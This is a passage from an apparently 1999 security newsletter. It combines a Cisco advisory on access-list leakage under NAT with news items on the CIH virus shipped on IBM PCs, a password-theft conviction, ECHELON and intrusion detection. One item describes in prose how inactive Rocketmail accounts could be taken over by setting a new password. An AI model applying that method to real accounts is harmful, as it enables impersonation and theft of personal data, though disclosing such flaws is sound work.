-----BEGIN PGP SIGNED MESSAGE-----
Cisco IOS(R) Software Input Access List Leakage with NAT
Revision 1.2
For release Tuesday, April 13, 1999, 08:00 AM US/Pacific
Cisco internal use only until released on www.cisco.com
==============================================================
Summary
=======
A group of related software bugs (bug IDs given under "Software Versions and
Fixes") create an undesired interaction between network address translation
(NAT) and input access list processing in certain Cisco routers running
12.0-based versions of Cisco IOS software (including 12.0, 12.0S, and 12.0T,
in all versions up to, but not including, 12.0(4), 12.0(4)S, and 12.0(4)T, as
well as other 12.0 releases). Non-12.0 releases are not affected.
This may cause input access list filters to "leak" packets in certain NAT
configurations, creating a security exposure. Configurations without NAT are
not affected.
The failure does not happen at all times, and is less likely under
laboratory conditions than in installed networks. This may cause
administrators to believe that filtering is working when it is not.
Software fixes are being created for this vulnerability, but are not yet
available for all software versions (see the section on "Software Versions
and Fixes"). This notice is being released before fixed software is
universally available in order to enable affected Cisco customers to take
immediate steps to protect themselves against this vulnerability.
Who Is Affected
===============
If you are using input access lists in conjunction with NAT on an interface
of a Cisco IOS router running any 12.0-based version of Cisco IOS software
earlier than the fixed versions listed in the table under "Software Versions
and Fixes", then you are affected by this vulnerability. Non-12.0 releases
are not affected.
Both input access lists and NAT must be in use on the same router interface
in order for this vulnerability to manifest itself. If your configuration
file does not contain the command "ip access-group in" on the same
interface with "ip nat inside" or "ip nat outside", then you are not affected.
The majority of routers are not configured to use NAT, and are therefore not
affected. NAT routers are most commonly found at Internet boundaries.
Affected Devices
- --------------
Cisco devices that run Cisco IOS software, and are affected by this
vulnerability, include the following:
* Cisco routers in the 17xx family are affected.
* Cisco routers in the 26xx family are affected.
* Cisco routers in the 36xx family are affected.
* Cisco routers in the AS58xx family (not the AS52xx or AS53xx) are
affected.
* Cisco routers in the 72xx family (including the ubr72xx) are affected.
* Cisco routers in the RSP70xx family (not non-RSP 70xx routers) are
affected.
* Cisco routers in the 75xx family are affected.
* The Catalyst 5xxx Route-Switch Module (RSM) is affected. The Catalyst
5xxx switch supervisors themselves are not affected; only the optional
RSM module is involved.
Cisco devices which run Cisco IOS software, but are not affected by this
vulnerability, include the following:
* Cisco routers in the 8xx family are not affected.
* Cisco routers in the ubr9xx family are not affected.
* Cisco routers in the 10xx family are not affected.
* Cisco routers in the 14xx family are not affected.
* Cisco routers in the 16xx family are not affected.
* Cisco routers in the 25xx family are not affected.
* Cisco routers in the 30xx family are not affected (and do not run 12.0
software).
* Cisco routers in the mc38xx family are not affected.
* Cisco routers in the 40xx family are not affected.
* Cisco routers in the 45xx family are not affected.
* Cisco routers in the 47xx family are not affected.
* Cisco routers in the AS52xx family are not affected
* Cisco routers in the AS53xx family are not affected.
* Catalyst 85xx Switch Routers are not affected (and do not support NAT).
* GSR12xxx Gigabit Switch Routers are not affected (and do not support
NAT).
* Cisco 64xx universal access concentrators are not affected.
* Cisco AGS/MGS/CGS/AGS+ and IGS routers are not affected (and do not run
12.0 software).
* LS1010 ATM switches are not affected.
* Catalyst 2900XL LAN switches are not affected.
* The Cisco DistributedDirector is not affected.
If you are unsure whether your device is running classic Cisco IOS software,
log into the device and issue the command "show version". Cisco IOS software
will identify itself simply as "IOS" or "Internetwork Operating System
Software". Other Cisco devices either will not have the "show version"
command, or will give different output.
If you are not running Cisco IOS software, then you are not affected by this
vulnerability. Cisco devices which do not run Cisco IOS software, and are
not affected by this vulnerability, include the following:
* 7xx dialup routers (750, 760, and 770 series) are not affected.
* Catalyst 19xx, 28xx, 29xx, 3xxx, and 5xxx LAN switches are not
affected.
* WAN switching products in the IGX and BPX lines are not affected.
* The MGX (formerly known as the AXIS shelf) is not affected.
* No host-based software is affected.
* The Cisco PIX Firewall is not affected.
* The Cisco LocalDirector is not affected.
* The Cisco Cache Engine is not affected.
Impact
======
The severity of the impact may vary, depending on the device type,
configuration and environment, from sporadic leakage of occasional packets
to consistent leakage of significant classes of packets. The environment
dependencies are extremely complex and difficult to characterize, but
essentially all vulnerable configurations are affected to some degree.
Customers with affected devices are advised to assume that the vulnerability
affects their networks whenever input access lists are used together with
NAT in 12.0-based software.
This vulnerability may allow users to circumvent network security filters,
and therefore security policies. This may happen with no special effort on
the part of the user, and indeed without the user being aware that a filter
exists at all. No particular tools, skills, or knowledge are needed for such
opportunistic attacks. In some configurations, it may be also possible for
an attacker to deliberately create the conditions for this failure; doing
this would require detailed knowledge and a degree of sophistication.
The conditions that trigger this vulnerability may be frequent and
long-lasting in some production configurations.
Software Versions and Fixes
===========================
This vulnerability is created by bugs in interface hardware drivers. These
bugs affect the drivers for all interface types on affected platforms. The
majority of these driver bugs are grouped under Cisco bug ID CSCdk79747.
Additional bugs IDs include CSCdm22569 (miscellaneous additional drivers),
and CSCdm22299 (Cisco 1400 and 1700 platforms; of these two, only the 1700
actually suffers packet leakage).
A related bugs is CSCdm22451, which describes a problem with the original
fix for CSCdk79747.
All four of these bugs are, or will be, fixed in the software releases
listed in the table below.
Many Cisco software images have been or will be specially reissued to
correct this vulnerability. For example, regular released version 12.0(3) is
vulnerable, as are interim versions 12.0(3.1) through 12.0(3.7) The first
fixed version of 12.0 mainline software is 12.0(4). However, a special
release, 12.0(3b), contains only the security vulnerability fixes, and does
not include any of the other bug fixes from later 12.0 interim releases.
If you were running 12.0(3), and wanted to upgrade to fix this problem,
without taking the risk of instability presented by the new functionality
and additional bug fixes in the 12.0(4) release, you could upgrade to
12.0(3b). 12.0(3b) represents a "code branch" from the 12.0(3) base, which
merges back into the 12.0 mainline at 12.0(4).
In every case, these special releases are one-time spot fixes, and will not
be maintained. The upgrade path from, say, 12.0(3b), is to 12.0(4).
Note that fixes are not yet available for some affected releases. Cisco is
releasing this notice before the general release of fixed software because
of the possibility that this vulnerability may be exploited in the interim.
All fix dates in the table are estimates and are subject to change.
+-------------+---------------+--------------+-------------+---------------+
| | | | Projected | |
| | | Special spot | first fixed |Projected first|
| | | fix release; | regular or | fixed regular |
| Cisco IOS | | most stable | interim** | maintenance |
|Major Release| Description | immediate | release (fix| release (or |
| | | upgrade path | will carry |other long term|
| | | (see above) | forward into| upgrade path) |
| | | | all later | |
| | | | versions) | |
+-------------+---------------+--------------+-------------+---------------+
| Unaffected releases |
+-------------+---------------+--------------+-------------+---------------+
|11.3 and | | | | |
|earlier, all |Unaffected |Unaffected |Unaffected |Unaffected |
|variants |early releases | | | |
+-------------+---------------+--------------+-------------+---------------+
| | 12.0-based releases |
+-------------+---------------+--------------+-------------+---------------+
|12.0 |12.0 mainline |12.0(3b) |12.0(4), |12.0(4), |
| | | |April 19, |April 19, 1999*|
| | | |1999* | |
+-------------+---------------+--------------+-------------+---------------+
|12.0S |ISP support: | |12.0(4)S |12.0(5)S |
| |7200, RSP, | |(treated as |June 21, 1999* |
| |GSR12000. In | |interim** and| |
| |field test. | - |released to | |
| | | |field testers| |
| | | |on request | |
| | | |only | |
| | | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0T |12.0 new |12.0(3)T2, |12.0(4)T, |12.0(4)T, |
| |technology |April 14, |April 26, |April 26, 1999*|
| |early |1999* |1999* | |
| |deployment | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0DB |12.0 for Cisco | | |Unaffected; not|
| |6400 universal | | |supported on |
| |access | | |affected |
| |concentrator | - | - |platforms. |
| |node switch | | | |
| |processor (lab | | | |
| |use) | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(1)W5(x) |12.0 for | | |Unaffected; not|
| |Catalyst 8500 | - | - |supported on |
| |and LS1010 | | |affected |
| | | | |platforms |
+-------------+---------------+--------------+-------------+---------------+
|12.0(0.6)W5 |One-time early | | |Unaffected; not|
| |deployment for | | |supported on |
| |CH-OC12 module | - | - |affected |
| |in Catalyst | | |platforms. |
| |8500 series | | | |
| |switches | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(1)XA3 |Short-life | |Merged |Upgrade to |
| |release; merged| | |12.0(3)T2 or |
| |to 12.0T at | - | |12.0(4)T |
| |12.0(2)T. | | | |
| | | | | |
| | | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(1)XB |Short-life |Unaffected |Merged |Unaffected; not|
| |release for | | |supported on |
| |Cisco 800 | | |affected |
| |series; merged | | |platforms. |
| |to 12.0T at | | |Regular upgrade|
| |12.0(3)T. | | |path is via |
| | | | |12.0(4)T |
| | | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(2)XC |Short-life | |Merged |Upgrade to |
| |release for new| | |12.0(3)T2 or |
| |features in | | |12.0(4)T |
| |Cisco 2600, | | | |
| |Cisco 3600, | - | | |
| |ubr7200, ubr900| | | |
| |series; merged | | | |
| |to 12.0T at | | | |
| |12.0(3)T. | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(2)XD |Short-life | |Merged |Upgrade to |
| |release for | | |12.0(3)T2 or |
| |ISDN voice | - | |12.0(4)T |
| |features; | | | |
| |merged to 12.0T| | | |
| |at 12.0(3)T. | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(x)XE |Short-life |12.0(2)XE3, |Merged |Upgrade to |
| |release for |April 13, | |12.0(3)T2 or |
| |selected |1999* | |12.0(4)T. |
| |entreprise | | | |
| |features; | | | |
| |merged to 12.0T| | | |
| |at 12.0(3)T | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(2)XF |Short-life spot|Unaffected |Merged |Unaffected; not|
| |release of 12.0| | |supported on |
| |for the | | |affected |
| |Catalyst | | |platforms. |
| |2900XL LAN | | |Regular upgrade|
| |switch; merged | | |path is via |
| |to 12.0T at | | |12.0(4)T. |
| |12.0(4)T. | | | |
+-------------+---------------+--------------+-------------+---------------+
|12.0(2)XG |Short-life | |Merged |Upgrade to |
| |release for | | |12.0(4)T |
| |voice modules | - | | |
| |and features; | | | |
| |merged to 12.0T| | | |
| |at 12.0(4)T. | | | |
+-------------+---------------+--------------+-------------+---------------+
* All dates are tentative and subject to change
** Interim releases are subjected to less internal testing and verification
than are regular releases, may have serious bugs, and should be installed
with great care.
Getting Fixed Software
- --------------------
Cisco is offering free software upgrades to remedy this vulnerability for
all affected customers. Customers with service contracts may upgrade to any
software version. Customers without contracts may upgrade only within a
single row of the table above, except that any available fixed software will
be provided to any customer who can use it and for whom the standard fixed
software is not yet available. As always, customers may install only the
feature sets they have purchased.
Note that not all fixed software is available as of the date of this notice.
Customers with contracts should obtain upgraded software through their
regular update channels. For most customers, this means that upgrades should
be obtained via the Software Center on Cisco's Worldwide Web site at
http://www.cisco.com.
Customers without contracts should get their upgrades by contacting the
Cisco Technical Assistance Center (TAC). TAC contacts are as follows:
* +1 800 553 2447 (toll-free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Give the URL of this notice as evidence of your entitlement to a free
upgrade. Free upgrades for non-contract customers must be requested through
the TAC. Please do not contact either "psirt@cisco.com" or
"security-alert@cisco.com" for software upgrades.
Workarounds
===========
This vulnerability may be worked around by changing the configuration to
avoid using input access lists, by removing NAT from the configuration, or
by separating NAT and filtering functions into different network devices or
onto different interfaces. Each of these changes has significant
installation-dependent complexity, and must be planned and executed with a
full understanding of the implications of the change.
If the configuration of a router is changed to eliminate NAT, or to change
the interfaces on which NAT is applied, as a means of avoiding this
vulnerability, the router must be reloaded before the change will have the
desired effect.
Exploitation and Public Announcements
=====================================
Cisco knows of no public announcements or discussion of this vulnerability
before the date of this notice. Cisco has had no reports of malicious
exploitation of this vulnerability. However, the nature of this
vulnerability is such that it may create security exposures without
knowingly being "exploited" as the term is usually used with respect to
security vulnerabilities.
This vulnerability was reported to Cisco by several customers who found it
during in-service testing.
Status of This Notice
=====================
This is a final field notice. Although Cisco cannot guarantee the accuracy
of all statements in this notice, all of the facts have been checked to the
best of our ability. Cisco does not anticipate issuing updated versions of
this notice unless there is some material change in the facts. Should there
be a significant change in the facts, Cisco may update this notice.
Distribution
- ----------
This notice will be posted on Cisco's Worldwide Web site at
http://www.cisco.com/warp/public/770/iosnatacl-pub.shtml . In addition to
Worldwide Web posting, the initial version of this notice is being sent to
the following e-mail and Usenet news recipients:
* cust-security-announce@cisco.com
* bugtraq@netspace.org
* first-teams@first.org (includes CERT/CC)
* cisco@spot.colorado.edu
* comp.dcom.sys.cisco
* firewalls@greatcircle.com
* Various internal Cisco mailing lists
Future updates of this notice, if any, will be placed on Cisco's Worldwide
Web server, but may or may not be actively announced on mailing lists or
newsgroups. Users concerned about this problem are encouraged to check the
URL given above for any updates.
Revision History
- --------------
Revision 1.0, First release candidate version
16:40 US/Pacific
8-APR-1999
Revision 1.1, Remove extraneous editor's comments
18:20 US/Pacific
8-APR-1999
Revision 1.2, Typographical cleanup, clarification of affected releases
12:00 US/Pacific in summary section, remove extraneous bug reference.
9-APR-1999
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and registering to
receive security information from Cisco, is available on Cisco's Worldwide
Web site at
http://www.cisco.com/warp/public/791/sec_incident_response.shtml. This
includes instructions for press inquiries regarding Cisco security notices.
- ------------------------------------------------------------------------
This notice is copyright 1999 by Cisco Systems, Inc. This notice may be
redistributed freely after the release date given at the top of the text,
provided that redistributed copies are complete and unmodified, including
all date and version information.
- ------------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: Big Secret
Comment: For info see http://www.gnupg.org
iQEVAwUBNxNXfnLSeEveylnrAQHUqwf/bKI4zIa23ZbhKgn6pzlDxCmeKBxtDrxa
B4hNQf9p07YPsNrA/LYepYmNJAQpZz4uXflBVU/cKeQE8o8/AvbxgUvGuV7MY4La
Wafn7UbR26Vfixvk6ZzWPy8NnB5OGuL6Z7VEH3MW7UwNX8MPhKSLd6nCMA2Ily14
nVvKbylroSJhyFSvI1TizJYh/jjIqMudxPBIftNYIuUNpeLZkQ6B0p/CxScJ6AAT
Ze5+6KX4DMVKCb0uTV/+Hzayf67Z78eoxVSvA+Nj1CCE7J3nr8VC9qsJE0ItTbO9
xv0AoJ4MfrscQzT12hbIii9pvDCe3gW1e7E8PGMVFGo3V4WMGsIilA==
=XF+D
-----END PGP SIGNATURE-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: Big Secret
Comment: For info see http://www.gnupg.org
mQENAzXPH5oC2wEIAMeLeBbPlxIznjaMMKWFlhVgQ85n4wm6A1ZeVCm0D8zRzATl
IKC365xXRKx8bwTn5XjKxZ5/XVuZjhsMS/CCa7B4FfxqjYBpEvfWEYDmPfzipTC3
nPAEc3T4yNWfaDKPxqv85WK+3yn0rpygWEgqw8+/n8QvoSbBEA9DU+5RTHIDEfOF
vmqtDYB/2luIubN4X2jazwLeGhocarrbZmEW4fKsOpQ1xS1IuWbn9AWXjchMfL8z
i+ow9p6BA2I0eqmP/c1Ld+cL/befk3/l8rPA7UUFOn1je7Fng0WAAUvjoHU56fO2
oF6rO5jfHFu6yBt2ouRem/KMzx6WctJ4S97KWesABRG0R0Npc2NvIFN5c3RlbXMg
UHJvZHVjdCBTZWN1cml0eSBJbmNpZGVudCBSZXNwb25zZSBUZWFtIDxwc2lydEBj
aXNjby5jb20+iQEVAwUTNeY8KkZi51ggEbh5AQE64Af9HKKrj19Z5URxpZu1J/IG
LpIJUsix8IHAudPCw/sNc7yipqwHVSDUGu1UKIEnQHP0jeAX98seyMCFdFzxChzc
ZbUMXoa0H8nDhlHrAHUKWY66slfdDTBDV8ICdGTOZ9XcQOvoOAL8xhZJ0HTBcdM4
b2w3ECgEdxPiPhL0+gBbqZ4c1YQzVnxKG20G1Vs/NtIJW1nQrapCI5EysQO/srUL
u1J/BHsVKfSjayROrQVGWU5pnpxiCr8PRivWFOEXu1xcJLs05wiVvuWmA3x8v8Bt
c9xPx3bnpAiiaKOKDqZh0eja6+7/pYWnTdpXwXdS+lwNBneVLLF4I1IOs412BNpa
TIkBFQMFEDXPH5py0nhL3spZ6wEBPzgH/Axh9Q8T4Gviyhcqn+pSk+Ug55nkzrvQ
+IZx3v9eFbvgBX5q16pRifhniuppTUzkklvOKeQ0Oz7MG6ekDSQcP9PAAJL8Kik5
6MB1HbQTNxkr3qTBJELmXBRT7a6G4F2KzoEbphtS27p4v1MrJ2MWcc5HHrUpD8mE
s4x9WhxXfPQSTRmJ9XcvIbv852y1bVMXwISt7TzpQuxH8oBLDhdlQu51ANd7hlAa
7N+M8CYvxmpYCgxlPh8XhAuZZmMSVbtX7TMvoPtFRkwaV0kitxvfch36JMrGK/0b
AedGRFGSqa8+bZmCBFABsn+pziHwuXLZhsJ14e8V+zqacxZe2apOQ4mIPwMFEDXP
IpCWgad8PVLgfxECuK8AoNBJNor02wuTI9mVACgaknKdSqn9AJ9vZg3u0d5lx3l+
QmkupOtBU40us4kBFQMFEDXPJBwMj7Lhmx7xKQEBhscIAJEkpzdvpzjHfETEZyml
eUvq9IO1mVDQDQiyG02akI2PUe39Tl57jKjQ8Lyus0cfvHs7qVc8jj2e1+mUyXA1
AwWOZaJsgVdkZIFKJnU9MfN3XIxwwkg7g3dB99oPrAbTgWkKdodJmTnKsXntAYcm
g7/4a5UYujJ2+J/7z1ZmiMtqHu4hU7B36DoxZadmaOPe1cIzsy+5vBgg5vesDLb4
O+3dae6BgsCay0eSLdfLkxI9hTGGiFTHrkgBaxOvQn6oUxVxnJC3EWfasJzFjjxS
rXxNuUqL9fRXDNOYH2P9tcQtjOypZPOGgtLvwCf0rQl/6jNxIWTJHk/WXKbunvRK
DIS0USBDaXNjbyBTeXN0ZW1zIHByb2R1Y3Qgc2VjdXJpdHkgaW5jaWRlbnQvYnVn
IHJlcG9ydGluZyA8c2VjdXJpdHktYWxlcnRAY2lzY28uY29tPokBFQMFEDXPIS9y
0nhL3spZ6wEBGHEH/2CYREeuDDx1lrlqKcTuSn13eyuVasAC4nIRkuY5T+ipAHq0
p2fwQ0QyxGvMD8naoEiTwtO4tHWEfqaqG/txt0draa+//mX/qr865K/4qtDe2n6d
Dz3uBy/wUn5i76302dthoUnbHpxug1NkKqop/FHYk9GztBMFlF+5COlBk5fYtYzD
2Nrhc5oA8lPBmJNAcM9ifVIEzYHEnJIcdoqrwGKCz91xxAjW+XnyWtiJ80mRDJx8
88qF5lmmmkopgrxrRwikHprFMsSzT9Vqt3Rts7PtPPOaSBlEcGgKOhN5PcWnpIar
MeytrOkctsTjrqMaOEKudgaGgDrIgsBc6iYHwaaIPwMFEDXPIuWWgad8PVLgfxEC
L9wAoOo4XEm03MsnyprNhw85ALRew0gZAKD6eXHl1C1ywrNTiWDH0SfR0j9qdokB
FQMFEDXPJG8Mj7Lhmx7xKQEBcEQH/2mE5RbDsiZ++EAtWleejNT720qAEUQCtPdj
yFRFiNhbc0yUhmoQ9dZKdujxKQWpZJt/5h7ax4VtPm3JtbQz8jgrugJYPYeERQSA
qyimvjXwa4AFDsGwC1chtN+HnJwsixpLiHqx8k4CxKtPiKCVjLmZI3n+jZYXtlqb
73pMXOEzOMuKNkM8eteUO29b/h++rN6WPGlS4Ua9t4/sxy7yz6m6FLHzwudub6wl
ZfDrBZJuhsOq81j7P+QJ0pAi9fjsyn0Kh4LfjFefcp+9AmRgYFW4N/RTcKLlakkq
rj6iCGUMm174zA4vYEohi1ottOEfAxDtF+uLVM5+ONUc6s+1kns=
=l8tP
-----END PGP PUBLIC KEY BLOCK-----
@HWA
14.0 Aptivas ship with added bonus, the CIH virus.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--------------------------------------------------------------
This story was printed from ZDNN,
located at http://www.zdnet.com/zdnn.
--------------------------------------------------------------
IBM says some Aptivas hit by virus
By Joel Deane, ZDNN
April 6, 1999 11:49 AM PT
URL: http://www.zdnet.com/zdnn/stories/news/0,4586,2237581,00.html
IBM said Tuesday that several thousand of its Aptiva PCs have been exposed to a computer virus.
IBM spokeswoman Stacy Pena said that some Aptiva PCs sold in the United States had been
exposed to the CIH virus during the manufacturing process due to human error.
Pena said the virus was introduced to the Aptivas through test diskettes. The virus wasn't detected
because "an individual" failed to update the anti-virus software on the server used to duplicate
software, she said.
"What happened was a glitch in the manufacturing process. We have very high quality control,"
Pena said. "What happened was human error."
The CIH virus is spread from one PC to another when an executable file is transferred, may render
an infected PC inoperable when the date on the PC's internal calendar reads April 26 of any year.
Affected computers
The company said that Aptiva PCs with model numbers 240, 301, 520 and 580 manufactured
between March 5 and March 17, 1999, and sold in the United States, may have been exposed to the
CIH computer virus. The affected computers have one of the following codes after "MFG DATE":
AM909, AM910 or AM911.
All potentially affected customers who have registered their Aptiva with IBM Owner Privileges, and
all others for whom IBM has a current, valid address, have already been contacted and will
automatically receive an IBM Antivirus Update CD, the company said.
Retailers have also been contacted to ensure that Aptivas in stores are free of the virus.
No other Aptiva models or IBM (NYSE:IBM) products are known to be affected.
For more information, IBM said Aptiva owners should call the IBM HelpCenter around-the-clock at
(800) 600-8235 or read IBM.com's update on Aptiva PCs and the CIH virus.
Reuters contributed to this report.
@HWA
15.0 Rocketmail vulnerabilty on inactive accounts
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Via Project Gamma http://www.projectgamma.com/
link
Rocketmail security hole
April 12, 1999, 17:29
Author: WHiTe VaMPiRe
MAO Enterprises released a security advisory regarding Rocketmail's free Web e-mail services:
If you are aware of a login name of an account on Rocketmail which has been inactive for awhile, it is possible to reactivate the account with
no proof that you were the original account holder. Simply supply a new password and you will have access to somebody else's "inactive"
account.
Why is this "dangerous"? It would be possible to impersonate the original account holder without the family and friends' knowledge.
Additionally, the original preferences of the account are preserved. This makes it extremely easy to retrieve personal data, address books,
and various other information stored by the original user.
Related links:
MAO Enter http://securityhole.8m.com/
@HWA
16.0 Yahoo "hack" faked?
~~~~~~~~~~~~~~~~~~~
Via Project Gamma http://www.projectgamma.com/
link
Yahoo "hack" faked?
Project Gamma reported on the Yahoo "hack" last month. We had several
submissions from different people, facts added up, it seemed legit, so
we went with it.
We heard from several people that it was fake but there was nothing
definite from either side, and the "hack" seemed feasible at the time.
Yahoo claims that the "hack" never occured. Several of the larger "hacking"
groups claim that it was, in fact, faked.
We, Project Gamma, really have no idea definitely either way. We felt that
it would be appropriate for us to give the public what we know, and let them
decide for themselves.
Was Yahoo hacked? That is up for you to decide.
Yahoo hacked, original article.
http://www.projectgamma.com/news/archive/1999/march/031899-1251.html
Archive of the supposed defacement.
http://www.projectgamma.com/hacked/yahoo.com.html
Regards,
-WHiTe VaMPiRe\Rem-
17.0 'Sorceror's Apprentice' bug in Outlook
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From Net-Security http://www.net-security.org/
link
SORCERER'S APPRENTICE BUG IN OUTLOOK
by BHZ, Wednesday 14th Apr 1999 on 9:40 pm CET
New bug goes like this: if you have multiple e-mail accounts on the same POP3
server and one account is set to remove mail and the other is set to leave mail on
server, you will continue to get the same mail over and over again. Microsoft Outlook
Express Team spoke about the mistake like - "bug in Outlook Express 5.0 interferes
with Outlook Express' ability to determine which messages have previously been
downloaded, resulting in multiple copies of the same message being downloaded.
@HWA
18.0 Aussie password thief pleads guilty
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
13/04/99 16:25
Net passwords thief pleads guilty
Roulla Yiacoumi
A man who used 37 Net account passwords to gain $50 worth of Internet
access has pleaded guilty in a Western Australian court.
Perth resident Christopher Thomas Daniels, 20, was fined $2,500 and
ordered to pay $500 to the ISP from which the passwords were stolen,
Vianet.
Last month, Daniels was charged with 37 counts of unlawfully operating a
computer system (see story). It was alleged that a juvenile supplied the
man with 350 Internet account passwords. The accounts were all with one
Western Australian ISP, Vianet. The juvenile, a first-time offender, has been
referred to the Juvenile Justice Team.
Detective senior constable Mike Wheeler from the WA fraud squad said
there had been an alarming increase in the number of young people
becoming involved in Net-based crime. "Most of these people are normally
law abiding, and have never been in trouble with the police in the past," he
said. "There is a misconception you won't get caught doing this sort of thing,
but if you are utilising telephone lines, we can always trace you back."
Wheeler said he had spoken to at least half-a-dozen other young people in
the past week about similar matters. It is hoped the fine imposed by the
magistrate will act as a deterrent to others.
"The message we want to get across is that this is not a fun thing -- it is very
serious, it is an offence, and there's a high chance you're going to get
caught," he warned.
This article is located at http://newswire.com.au/9904/guilty.htm
@HWA
19.0 Echelon is fishy says ACLU
~~~~~~~~~~~~~~~~~~~~~~~~~~
Via net-security http://www.net-security.org/
link
ECHELON IS FISHY ACCORDING TO ACLU
by BHZ, Monday 12th Apr 1999 on 10:00 pm CET
The American Civil Liberties Union (ACLU) reports that ECHELON, global electronic
communications surveillance system may be engaged in the illegal interception of
Americans' private communications. Inquiries by the European Parliament resulted in
reports detailing the existence of ECHELON, which is led by the NSA in conjunction
with its counterpart agencies in England, Canada, Australia and New Zealand.
According to the reports, ECHELON has communications receiving stations all over
the world and attempts to capture all satellite, microwave, cellular and fiber-optic
communications worldwide, including communications to and from North America.
Computers then sort through conversations, faxes and emails for searching for
keywords. Communications that include keywords chosen by the intelligence
agencies are transcribed and forwarded for further investigation.
@HWA
20.0 Network-based intrusion detection systems are about to stop crying wolf
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.internetwk.com/story/INW19990408S0009
Thursday, April 8, 1999, 4:33 PM ET.
Security Mandate: Silence False Alarms
By RUTRELL YASIN
Network-based intrusion detection systems are about to stop crying wolf.
Often, these systems deliver such a high number of false positives--which
classify an action as an intrusion when it may be legitimate--that
computer operators ignore intrusion alarms altogether. Several network
security vendors are responding with products that do a better job of
filtering out false alarms from actual attacks.
Network Associates Inc. (NAI) this week unveiled a real-time intrusion
detection system that correlates network- and host-based events to give IT
managers a comprehensive view of system activity. CyberCop Monitor is a
core component of NAI's new Active Security product line. Meanwhile, Axent
Technologies, Cisco and Internet Security Systems (ISS) plan to deliver
improved event correlation and filtering by year's end.
The improvements take intrusion detection to the next level, as more
companies use the high-tech burglar alarms to identify attacks from
outsiders as well as insiders.
IT managers looking for ways to reduce false-positive alarms cited the
need for better event correlation.
Robert Kondilas, a security manager at carrier Qwest Communications, which
uses ISS's RealSecure system, noted that a correlation engine lets IT
administrators manage more end points in the network with fewer people.
Alan Paller, director of The SANS Institute, a training and consulting
firm, said, The huge load of not-very-important alarms has caused a
complete shift in the way people do network-based ID. He added that,
initially, organizations think they can use intrusion detection tools to
set off a beeper when an attack is under way, but they soon discover that
the beeper goes off so often that they can't possibly respond to every
alarm.
The false-positive problem is generally confined to network-based
intrusion detection systems that monitor network packets for IP spoofing
and packet-flooding attacks, rather than the host-based systems that
monitor PC server and firewall logs for suspicious activity.
For example, an intrusion detection systems may confuse port scans from a
network management tool such as Hewlett-Packard's OpenView--which employs
SNMP-based polling and ICMP requests to discover network topology, status
and configuration--with hacker attacks, if it is not properly tuned,
experts said.
Kondilas has seen his share of false positives. He recalled a recent
incident where the intrusion detection system appeared to be picking up
NetBus traffic. (NetBus is a hacker program that can be used to gain
unauthorized access to network servers.) Closer analysis of the data,
however, revealed that a machine was transmitting legitimate data,
according to Kondilas.
To avoid being overwhelmed by false alarms, IT managers at Qwest are
documenting each false positive. By recording exactly what is happening in
the network at the time an alarm triggered, operators can determine if
similar events in the future are false alarms, he said.
Since network- and host-based systems each have strengths and weaknesses,
some vendors are providing hybrid systems that deliver the best of both
worlds.
For example, NAI's CyberCop Monitor dredges data from Windows NT event
logs or logs from other key applications, in addition to monitoring
network traffic coming into a server with the more classic network
signature technique, said Gene Hodges, vice president of security product
management at NAI.
If there is fragmentation of network traffic, organizations can determine
if the cause is a hacker or a bad router, and they also can look into the
event log to see if there is suspicious activity, Hodges said.
Both Axent and ISS introduced hybrid systems last year. ISS RealSecure can
pull information from multiple network sensors and systems agents to track
activity across a range of devices and systems. But that information is
being sent to management consoles. ISS wants to add even more intelligence
to the network.
The company plans to unveil a RealSecure fusion engine that can correlate
events from multiple intrusion detection engines placed strategically
throughout a network, said Mark Wood, an ISS product manager.
Axent and Cisco are both working to fine-tune the ability to describe
attack signatures.
As in the case of antivirus software, network-based intrusion detection
systems look for abnormal patterns in packets sent across the network,
matching them against signatures in a database.
Axent plans to unveil a version of its NetProwler system that incorporates
technology from ID-Trak, a tool the company obtained through its
acquisition of Internet Tools earlier this year, said Scott Gordon,
director of intrusion detection. ID-Trak lets users customize signatures
to meet specific network requirements.
The product also will benefit from tighter integration with the
IntruderAlert engine, Axent's host-based system, he added.
Fine-tuning attack signatures is a short-term solution for Cisco, which
offers the NetRanger system, according to Joseph Sirrianni, a product
marketing engineer.
We're constantly improving signatures because certain ones trigger false
positives, he added. Cisco, however, declined to name which NetRanger
signatures specifically trigger false alarms.
We're looking at ways of integrating certain correlation techniques, he
said. The fruit of that labor should be incorporated in the product over
the next six months, he added.
However, some experts said false positives can be reduced if users get a
better understanding of the intrusion detection systems.
It's more an issue of deployment, said Mike Hagger, vice president of
network security and disaster recovery at investment company Oppenheimer
Funds.
You have to know what you're trying to validate and track, and have the
right people analyze the data, said Hagger, who uses ISS's RealSecure.
Pete Cafarchio, technology program manager at the International Computer
Security Association, recommends that users don't turn on alarming
features until the intrusion detection system is up and running for 30
days, By that time, they should have a better understanding of how the
system works, he added.
In the future, network-based intrusion detection systems also can benefit
from a technique called anomaly detection, which is more common in
host-based systems, according to Cafarchio.
Anomaly detection helps IT managers establish a baseline of normal user
activity so they can set up filters that trigger alerts if that activity
changes. For instance, they might monitor a person accessing certain
information at a certain time of the week. The problem with this technique
is that people can deviate from normal activity, Cafarchio said.
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
21.0 MSIE5 fun
~~~~~~~~~
Via net-security http://www.net-security.org/
link
HAVE FUN WITH IE 5.0
